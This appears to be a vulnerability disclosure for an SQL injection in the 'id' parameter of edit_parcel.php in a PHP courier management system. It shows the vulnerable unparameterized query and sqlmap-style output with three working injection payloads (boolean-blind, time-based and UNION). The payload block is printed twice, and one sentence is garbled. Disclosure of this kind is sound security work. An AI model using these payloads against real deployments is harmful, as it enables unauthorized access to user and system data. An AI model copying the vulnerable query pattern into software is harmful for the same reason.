SQL injection vulnerability exists in ‘id’ parameter of edit_parcel.php file of Best courier management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit index.php and get parameter is ‘page=edit_parcel’,it will include edit_parcel.php,and ‘id’ parameter can do sql injection.

```
53              $page = isset($_GET['page']) ? $_GET['page'] : 'home';
54              if(!file_exists($page.".php")){
55                  include '404.html';
56              }else{
57              include $page.'.php';
58
59              }
60          ?>
```

Figure.1 index.php include edit_parcel.php

```
1  <?php
2  include 'db_connect.php';
3  $qry = $conn->query("SELECT * FROM parcels where id = ".$_GET['id'])->fetch_array();
4  foreach($qry as $k => $v){
5      $$k = $v;
6  }
7  include 'new_parcel.php';
8  ?>
```

Figure.2 Sql injection in edit_parcel.php

```
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=1 AND 5960=(SELECT (CASE WHEN (5960=5960) THEN 5960 ELSE (SELECT 7525 UNION SELECT 1587) END))-- -&page=edit_parcel

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 8332 FROM (SELECT(SLEEP(5)))ecor)&page=edit_parcel

    Type: UNION query
    Title: Generic UNION query (NULL) - 18 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b627a71,0x6f6d794142676e56646c74746b4778536d756e714d55694e784
d54734f43494a7873446857666563,0x71786a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&page=edit_parcel
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: id=1 AND 5960=(SELECT (CASE WHEN (5960=5960) THEN 5960 ELSE (SELECT 7525 UNION SELECT 1587) END))-- -&page=edit_parcel

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1 AND (SELECT 8332 FROM (SELECT(SLEEP(5)))ecor)&page=edit_parcel

Type: UNION query

Title: Generic UNION query (NULL) - 18 columns

Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b627a71,0x6f6d794142676e56646c74746b4778536d756e714d55694e784d54734f43494a7873446857666563,0x71786a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&page=edit_parcel

---

“

Source Download：

https://www.sourcecodester.com/php/16848/best-courier-management-system-project-php.html